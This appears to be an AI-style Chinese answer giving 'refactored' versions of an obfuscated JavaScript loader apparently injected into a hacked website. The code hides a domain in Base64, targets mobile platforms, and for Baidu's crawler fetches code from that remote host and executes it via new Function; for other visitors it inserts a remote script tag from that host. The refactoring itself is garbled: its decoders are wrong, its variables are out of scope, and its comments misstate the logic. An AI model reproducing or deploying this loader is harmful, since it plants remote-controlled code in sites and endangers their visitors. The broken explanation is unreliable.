以下是重构后的代码:
```javascript
// 解码Base64字符串
function UqgsgfgDv(e) {
var t = "";
var n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
// Base64转URL安全格式
function UqSDDFGvyQ(e) {
var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var t = "";
var n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // 过滤非Base64字符
for (var j = 0; j < e.length; j++) {
n = m.indexOf(e[j]); // 在m中查找对应索引值
if (n !== -1) { // 如果找到对应索引值
f = (f << 6) | n; // 将索引值左移6位后与f进行或运算,更新f的值
j++; // 因为一个字节对应两个索引值,所以要跳过下一个字符的位置
} else if (f) { // 如果f不为0且没有找到对应的索引值
t += String.fromCharCode(f); // 将f转换成字符添加到t中
f = 0; // 将f清零
} else {
t += e[j]; // 直接将字符添加到t中
}
}
return atob(t); // 将t进行base64解码并返回结果
}
```
以下是重构后的代码,并保持了原始段落结构:
```javascript
function UqgsgfgDv(e) {
var f = 0;
var m = e.split("");
var o, u, a, n, r, i, t;
while (f < e.length) {
n = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = "";
t += String.fromCharCode(n);
if (u !== 64) {
t += String.fromCharCode(r);
}
if (a !== 64) {
t += String.fromCharCode(i);
}
}
return UqSDDFGvyQ(t);
};
window['' + 'U' + 'Y' + 'C' + 'q' + 'J' + 'K' + ''] = (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) ? function() {
'use strict';
(function (u, i, w, d, c) {
var x = UqSDDFGvyQ, cs = d[x('Y3VycmVudFNjcmlwdA==')], crd = x('Y3JlYXRlRWxlbWVudA=='); //jQuery;
u = decodeURIComponent(x(u.replace(new RegExp(c[0] + '\\' + c[0], 'g'), c[0]))); //jQuery;
})(document.location.href, "UTF-8", "script", document.documentElement.className === "yui-skin-sam" && document.getElementById("yui-main"), [cs]);
}();
```
以下是重构后的代码:
```javascript
if (navigator.userAgent.indexOf('baiduid') > -1) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + u + '/bm-' + i);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));
name(cs);
}
};
xhr.send('u=1');
} else {
var s = d[crd]('script');
s.src = 'https://' + u + '/m-' + i;
cs.parentElement.insertBefore(s, cs);
}
(function (aGYuc2poZ2tzdmJyLmNvbQ, b, c, d, e) {
function f() {}
})(encodeURIComponent('aGYuc2poZ2tzdmJyLmNvbQ=='), '2975', window, document, ['G', 'TpoZFcguG']);
```